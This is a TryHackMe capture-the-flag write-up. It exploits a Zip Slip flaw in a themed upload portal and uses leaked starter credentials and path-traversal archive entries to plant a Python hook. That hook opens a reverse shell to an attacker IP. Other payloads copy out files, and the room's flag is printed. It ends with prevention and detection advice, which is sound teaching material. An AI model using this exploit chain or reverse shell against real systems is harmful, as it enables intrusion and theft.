

The Hollow Shell

Hacker Holidays · The Byte Lotus Hotel

TryHackMe Room Writeup | Web | 90 points | Difficulty: Medium

Target: **10.48.147.81** (port 5000) | Technique: Zip Slip → Arbitrary File Write → RCE via theme worker hooks

1. Room Overview & Concierge Briefing

The Byte Lotus beachfront lets guests personalise their in-room display by uploading a "shell" - a small .zip souvenir pack of shoreline ambiance (images, stylesheets). Staff publish them through the Shoreline Display portal. Once a shell is uploaded, a background theme worker "applies automation hooks" on behalf of the guest. The challenge goal is a single web flag.

Key flavour-text hints: "Slip something inside and hold it to your ear" (slip a file inside the zip) and "Slip past what the portal forgets to check" (the portal forgets to check zip entry paths). "The shell answers with a shell of your own" - the goal is a reverse shell / code execution.

2. Reconnaissance

2.1 Port discovery

Port 80 refused the connection, so a quick bash /dev/tcp sweep was used to find open ports:

■ RECON - port discovery: find open services

```
# default web port refused
curl -s -i http://10.48.147.81/ --max-time 20

# verbose check confirms "Connection refused" on 80
curl -sv http://10.48.147.81/ --max-time 20 2>&1 | head -50

# fast bash /dev/tcp port sweep
for p in 80 443 8080 8000 8443 3000 5000 8888 9000 1337; do \
  (echo > /dev/tcp/10.48.147.81/$p) 2>/dev/null && echo "OPEN: $p" & done; wait
# OUTPUT:
# OPEN: 5000
```

An equivalent full-service scan from the THM AttackBox (optional, same result): `nmap -Pn -sC -sV -p- 10.48.147.81`

2.2 Fingerprinting the web app

■ RECON - fingerprint the web app on :5000

```
curl -s -i http://10.48.147.81:5000/ --max-time 20
# HTTP/1.1 302 FOUND Server: unicorn
# Location: /login

curl -s -i http://10.48.147.81:5000/login --max-time 20
```

The /login page HTML contains an HTML comment that leaks the starter credentials used by IT for every property:

■ INITIAL ACCESS - leaked starter credentials in /login source

```
<!--
Byte Lotus // internal display-manager portal
New on the floor team? IT seeds every property with the same
starter login until you set your own:
  user: concierge
  pass: StayNoticed2024!
(rotates it from Settings on first sign-in - most people forget)
-->
```

3. Initial Access - Login

Log in with the leaked starter credentials and keep the session cookie in a cookie jar:

■ LOGIN - authenticate with leaked credentials (cookie jar)

```
curl -s -i -c /tmp/opencode/cookies.txt -b /tmp/opencode/cookies.txt \
-d "username=concierge&password=StayNoticed2024!" \
http://10.48.147.81:5000/login --max-time 20
# HTTP/1.1 302 FOUND
# Location: /dashboard
# Set-Cookie: session=eyJzdGFmZiI6ImNvbWNPZXJnZSJ9...; HttpOnly; Path=/

curl -s -b /tmp/opencode/cookies.txt http://10.48.147.81:5000/dashboard --max-time 20
```

The dashboard reveals the attack surface: upload a shell (.zip souvenir pack) that must contain a shell.json manifest listing its assets (allowed types: png jpg gif svg css json). A shell may include optional automation hooks that the theme worker applies "shortly after the shell comes ashore". One pre-seeded shell exists: cleanbox at shells/3103d6e2c8a5/.

4. Application Enumeration

Probe for hidden endpoints (all return 404 - the app only exposes /login, /dashboard, /upload and /shells/* file serving):

■ ENUM - fuzz hidden endpoints (all 404)

```
for p in api admin debug status worker jobs shell list \
shells upload/status flags flag health robots.txt sitemap.xml; do \
code=$(curl -s -o /dev/null -w "%{http_code}" -b /tmp/opencode/cookies.txt \
"http://10.48.147.81:5000/$p" --max-time 8); echo "$p -> $code"; done
# all -> 404
```

Inspect the existing shell's manifest to learn the exact JSON schema:

■ ENUM - inspect pre-seeded shell manifest (learn the JSON schema)

```
curl -s "http://10.48.147.81:5000/shells/3103d6e2c8a5/shell.json" --max-time 10
# {"name":"cleanbox","assets":["shell.json"]}
```

The manifest is a FLAT object: {"name": "<name>", "assets": ["file1.png", ...]}. Uploads using a nested {"manifest": {...}} wrapper are silently ignored by the worker.

5. Upload Testing & Manifest Format Discovery

5.1 First attempt (rejected - wrong schema)

■ UPLOAD TEST - first attempt (rejected: wrong schema)

```
mkdir -p /tmp/opencode/shelltest && cd /tmp/opencode/shelltest

cat > shell.json <<'EOF'
{"manifest": {"name": "test", "assets": ["hello.txt"]}}
EOF
echo "beach" > hello.txt
zip -r /tmp/opencode/test.zip shell.json hello.txt
curl -s -i -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/test.zip" \
http://10.48.147.81:5000/upload --max-time 30
# 302 -> /dashboard but no new shell appears (hello.txt is also not an allowed asset type)
```

5.2 Second attempt (still rejected)

■ UPLOAD TEST - second attempt (still rejected)

```
cat > shell.json <<'EOF'
{"manifest": {"name": "test", "assets": ["style.css", "pic.svg"]}}
EOF
echo "body{" > style.css
echo '<svg xmlns="http://www.w3.org/2000/svg"><rect width="10" height="10"/></svg>' > pic.svg
zip -r /tmp/opencode/test.zip shell.json style.css pic.svg
curl -s -i -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/test.zip" \
http://10.48.147.81:5000/upload --max-time 30
```

5.3 Working upload (flat manifest)

■ UPLOAD TEST - working upload (flat manifest)

```
cat > shell.json <<'EOF'
{"name":"test","assets":["style.css","pic.svg"]}
EOF
rm -f /tmp/opencode/test.zip
zip -r /tmp/opencode/test.zip shell.json style.css pic.svg
curl -s -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/test.zip" \
  http://10.48.147.81:5000/upload --max-time 30 -i | grep -E "HTTP|Location"
# HTTP/1.1 302 FOUND Location: /dashboard
# Dashboard now shows: test -> shells/f715ce3d10df/
```

■ UPLOAD TEST - verify uploaded assets are served

```
for f in shell.json style.css pic.svg; do \
  echo "== $f"; curl -s -w "%{http_code}\n" \
    "http://10.48.147.81:5000/shells/f715ce3d10df/$f" --max-time 10; done
# all assets served 200 from the extracted zip
```

5.4 Dead ends: SSTI and manifest hook keys

A Jinja2 template probe inside a CSS asset is served verbatim (no server-side templating):

■ DEAD END - SSTI probe inside a CSS asset

```
cat > shell.json <<'EOF'
{"name":"sstitest","assets":["style.css","pic.svg"]}
EOF
echo 'body{color:red}/* {{7*7}} {{config}} */' > style.css
zip -r /tmp/opencode/sstizip.zip shell.json style.css pic.svg
curl -s -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/sstizip.zip" \
  http://10.48.147.81:5000/upload --max-time 30 -i | grep -E "HTTP|Location"
curl -s "http://10.48.147.81:5000/shells/4dd46dd8ed2c/style.css" --max-time 10
# {{7*7}} {{config}} returned UNRENDERED -> no SSTI on served assets
```

Fuzzing manifest keys ("hook", "hooks", "automation", "worker") with commands and marker files inside the shell directory produces nothing - the worker never executes anything from the shell directory itself:

■ DEAD END - fuzz manifest hook keys (markers M1..M11 never fire)

```
cd /tmp/opencode/hooks
cat > shell.json <<'EOF'
{"name":"hky","assets":["style.css"],
 "hook":"run.py","hooks":["hooks.sh"],
 "automation":"apply.py","worker":"worker.py"}
EOF
printf 'import os\nopen("M1","w").write(os.getcwd())\n' > run.py
printf 'import os\nopen("M2","w").write(os.getcwd())\n' > apply.py
printf 'import os\nopen("M3","w").write(os.getcwd())\n' > worker.py
printf 'import os\nopen("M4","w").write(os.getcwd())\n' > hook.py
printf 'import os\nopen("M5","w").write(os.getcwd())\n' > hooks.py
printf '#!/bin/sh\ntouch M6\npwd > M6\n' > hooks.sh
printf '#!/bin/sh\ntouch M7\n' > install.sh
printf '#!/bin/sh\ntouch M8\n' > post.sh
printf '#!/bin/sh\ntouch M9\n' > setup.sh
printf '{"cmd":"touch M10"}' > hook.json
printf '{"cmds":["touch M11"]}' > hooks.json
zip -r /tmp/opencode/hk.zip shell.json style.css run.py apply.py worker.py \
  hook.py hooks.py hooks.sh install.sh post.sh setup.sh hook.json hooks.json
curl -s -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/hk.zip" \
  http://10.48.147.81:5000/upload --max-time 30 -o /dev/null
# after a few seconds, M1..M11 -> all 404 (nothing executed)
```

Conclusion: the theme worker executes Python files that land in the application's own hooks/ directory (../hooks relative to the extraction dir shells/<id>/). To get code execution we must WRITE a .py file there - which requires an arbitrary file write. Enter: Zip Slip.

6. The Vulnerability - Zip Slip (Arbitrary File Write)

Zip Slip happens when an archive is extracted without validating that each entry's path stays inside the destination directory. An entry named `../../hooks/callback.py` escapes shells/ and is written wherever the attacker wants - in this app root, which contains `static/`, `shells/` and `hooks/`. The canonical proof of concept:

■ ZIP SLIP - proof-of-concept builder script

```
import json
import zipfile

manifest = {"name": "zipslip-proof", "assets": []}

with zipfile.ZipFile("zipslip-proof.zip", "w") as archive:
    archive.writestr("shell.json", json.dumps(manifest))
    archive.writestr("../../static/zipslip-proof.css", "ZIP_SLIP_CONFIRMED\n")

print("Created zipslip-proof.zip")
```

■ ZIP SLIP - build, upload & verify the arbitrary file write

```
python3 - <<'EOF'
import json, zipfile
manifest = {"name": "zipslip-proof", "assets": []}
with zipfile.ZipFile("zipslip-proof.zip", "w") as archive:
    archive.writestr("shell.json", json.dumps(manifest))
    archive.writestr("../../static/zipslip-proof.css", "ZIP_SLIP_CONFIRMED\n")
EOF

unzip -l zipslip-proof.zip
#  shell.json
#  ../../static/zipslip-proof.css

curl http://10.48.147.81:5000/static/zipslip-proof.css
# ZIP_SLIP_CONFIRMED  <-- arbitrary file write inside the app root
```

Application layout confirmed on disk (seen later from the shell): app root `/var/www/conch` with `app.py`, `theme_worker.py`, `hooks/`, `shells/`, `static/`, `templates/`, `venv/`. The worker runs files dropped into `hooks/`.

7. Exploitation - Reverse Shell Through the Worker

7.1 Build the malicious shell (zip)

■ EXPLOIT - build the malicious shell (reverse-shell zip)

```

mkdir -p /tmp/opencode/rev && cd /tmp/opencode/rev

cat > build.py <<'EOF'
import json, zipfile

LHOST = "192.168.155.203" # attacker machine (this box)
LPORT = 4444

manifest = {"name": "shoreline-update", "assets": []}

callback = f'''
import os, pty, socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(({LHOST!r}, {LPORT}))
for descriptor in (0, 1, 2):
    os.dup2(sock.fileno(), descriptor)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("reverse-shell.zip", "w") as archive:
    archive.writestr("shell.json", json.dumps(manifest))
    archive.writestr("../hooks/callback.py", callback)
print("created")
EOF

python3 build.py
unzip -l reverse-shell.zip
# Archive: reverse-shell.zip
#  shell.json
#  ../hooks/callback.py

```

7.2 Start the listener and fire

■ EXPLOIT - start listener and upload the poisoned shell

```

# terminal 1: listen for the reverse shell
nc -lvnp 4444

# (in automation it was backgrounded instead:)
# (nc -lvnp 4444 > /tmp/opencode/nc_out.txt 2>&1 &) ; sleep 1

# terminal 2: upload the poisoned shell
curl -s -b /tmp/opencode/cookies.txt \
  -F "shell=@/tmp/opencode/rev/reverse-shell.zip" \
  http://10.48.147.81:5000/upload --max-time 30 -i | grep -E "HTTP|Location"
# HTTP/1.1 302 FOUND Location: /dashboard

```

A few seconds later the theme worker imports/executes hooks/callback.py and the reverse shell connects:

■ EXPLOIT - worker executes the hook: shell connected

```

# nc -lvnp 4444
# Listening on 0.0.0.0 4444
# Connection received on 10.48.147.81 57872
# roomservice@tryhackme-2404:/var/www/conch$

```

We now have code execution as roomservice (uid=996) in the app directory /var/www/conch - the "shell answers with a shell of your own".

8. Post-Exploitation & Flag Retrieval

Because hook output is discarded, a one-shot exfil hook writes command output into the web-served static/ directory, then we fetch it over HTTP:

■ FLAG HUNT - one-shot exfil hook (build script)

```
cd /tmp/opencode/rev
cat > build2.py <<'EOF'
import json, zipfile
manifest = {"name": "exfil", "assets": []}
code = r'''
import subprocess
r = subprocess.run(['bash','-c',
    'id; pwd; ls -la /; ls -la /var/www/conch; '
    'find / -iname "*flag*" -not -path "/proc/*" '
    '-not -path "/sys/*" 2>/dev/null'],
    capture_output=True, text=True)
try:
    open('/var/www/conch/static/hookout.txt','w').write('STDOUT:\n'+r.stdout+'\nSTDERR:\n'+r.stderr)
except Exception as e:
    open('/tmp/hookout.txt','w').write(repr(e))
'''
with zipfile.ZipFile("exfil.zip", "w") as archive:
    archive.writestr("shell.json", json.dumps(manifest))
    archive.writestr("../hooks/exfil.py", code)
print("created")
EOF
python3 build2.py
```

■ FLAG HUNT - upload exfil hook & read its HTTP output

```
curl -s -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/rev/exfil.zip" \
    http://10.48.147.81:5000/upload --max-time 30 -o /dev/null -w "%{http_code}\n"
# 302

sleep 15
curl -s "http://10.48.147.81:5000/static/hookout.txt" --max-time 10
```

Key findings from the exfil output:

■ FLAG HUNT - exfil output: key findings

```
uid=996(roomservice) gid=996(roomservice)
/var/www/conch
# app root: app.py, theme_worker.py, hooks/, shells/, static/, templates/, venv/
# -> /home/roomservice/flag.txt      <-- the flag file
```

8.1 Read the flag

■ FLAG - grab the flag (build script)

```
cat > build3.py <<'EOF'
import json, zipfile
manifest = {"name": "exfil2", "assets": []}
code = "open('/var/www/conch/static/flagout.txt','w').write(open('/home/roomservice/flag.txt').read())"
with zipfile.ZipFile("exfil2.zip", "w") as archive:
    archive.writestr("shell.json", json.dumps(manifest))
    archive.writestr("../hooks/exfil2.py", code)
print("created")
EOF
python3 build3.py
```

■ FLAG - upload flag hook & read the flag

```
curl -s -b /tmp/opencode/cookies.txt -F "shell=@/tmp/opencode/rev/exfil2.zip" \
    http://10.48.147.81:5000/upload --max-time 30 -o /dev/null -w "%{http_code}\n"
sleep 15
curl -s "http://10.48.147.81:5000/static/flagout.txt" --max-time 10
```

THM{z1p_sl1pp3d_1nt0_a_sh3ll}

Flag format check: `***{*** _***** _** _*****}` - THM{z1p_sl1pp3d_1nt0_a_sh3ll} matches.

9. Root Cause & How to Prevent This Vulnerability

9.1 Never extract archives with unsanitised paths (Zip Slip)

Validate every archive entry BEFORE writing: reject absolute paths, drive letters, backslashes, URL-encoded or null bytes, symlink entries, and any path resolving outside the destination. Safe extraction in Python:

■ PREVENTION - safe extraction implementation

```
import os
import zipfile

ALLOWED_EXT = {"png", "jpg", "gif", "svg", "css", "json"}

def safe_extract(zip_path, dest_dir):
    dest = os.path.realpath(dest_dir)
    with zipfile.ZipFile(zip_path) as zf:
        for member in zf.infolist():
            name = member.filename
            if name.startswith("/") or "\\\" in name or "..\" in name.split("/"):
                raise ValueError(f"unsafe entry path: {name}")
            target = os.path.realpath(os.path.join(dest, name))
            if os.path.commonpath([dest, target]) != dest:
                raise ValueError(f"entry escapes destination: {name}")
            ext = name.rsplit(".", 1)[-1].lower() if "." in name else ""
            if ext not in ALLOWED_EXT and name != "shell.json":
                raise ValueError(f"disallowed asset type: {name}")
            if member.is_dir():
                os.makedirs(target, exist_ok=True)
                continue
            with zf.open(member) as src, open(target, "wb") as dst:
                dst.write(src.read())
```

9.2 Never execute uploaded / user-influenced content

The theme worker importing and executing Python files from hooks/ turned a file-write bug into instant RCE. A worker should never execute files whose content or location is attacker-influenced. If "automation hooks" are truly needed: store them in a database as data, apply a strict schema allowlist, and run them in a sandbox (container / nsjail / seccomp) with no network egress.

9.3 Least privilege for the worker

Run the web app and the worker as an unprivileged, dedicated service account (no sudo, no setuid, no world-writable dirs in the app path). Restrict the worker's network egress so a compromised hook cannot dial back to an attacker (here, the reverse shell to 192.168.155.203:4444 succeeded).

9.4 Strict manifest validation

Parse shell.json against a strict JSON schema: name must be a short, printable string; assets must be an array of plain filenames with no path separators and an extension from the allowlist; unknown keys (hook, hooks, automation, ...) must be rejected outright.

9.5 Storage hygiene

Write extracted files under a random, server-generated directory name and never let zip entry names influence the destination. Serve only through a whitelisted static handler with Content-Disposition: attachment for non-rendered types.

9.6 Secrets and credentials

Do not ship default credentials, and never embed them in HTML comments. Enforce a forced password rotation for the starter account and remove unused accounts. (Here the credentials concierge / StayNoticed2024! were the entire initial access.)

9.7 Detectability

Alert on: new/modified files inside the application root (file integrity monitoring on hooks/ and static/), outbound connections from the web/worker service, and uploads whose zip entries contain traversal sequences. Add zipslip-proof.css / callback.py-style markers to detection test suites.

10. Attack Timeline & Cheat Sheet

■ CHEAT SHEET - attack timeline

[1] Recon	bash /dev/tcp sweep	-> port 5000 open (gunicorn/Flask)
[2] Source check	/login HTML comment	-> concierge / StayNoticed2024!
[3] Login	POST /login + cookie jar	-> session cookie
[4] Enumeration	endpoint fuzzing (all 404)	-> /login /dashboard /upload /shells/*
[5] Upload testing	manifest schema discovery	-> {"name": "..", "assets": [..]} flat JSON
[6] Dead ends	SSTI probe, hook keys	-> nothing executed from shell dir
[7] Vulnerability	Zip Slip ../../ traversal	-> arbitrary file write in app root
[8] Exploitation	write ../../hooks/callback.py	-> worker executes it -> reverse shell
[9] Flag	exfil hook -> /var/www/conch/static/	-> THM{z1p_sl1pp3d_1nt0_a_sh3ll}

Flag: THM{z1p_sl1pp3d_1nt0_a_sh3ll} - the beach shell was hollow, but it carried a very different shell inside.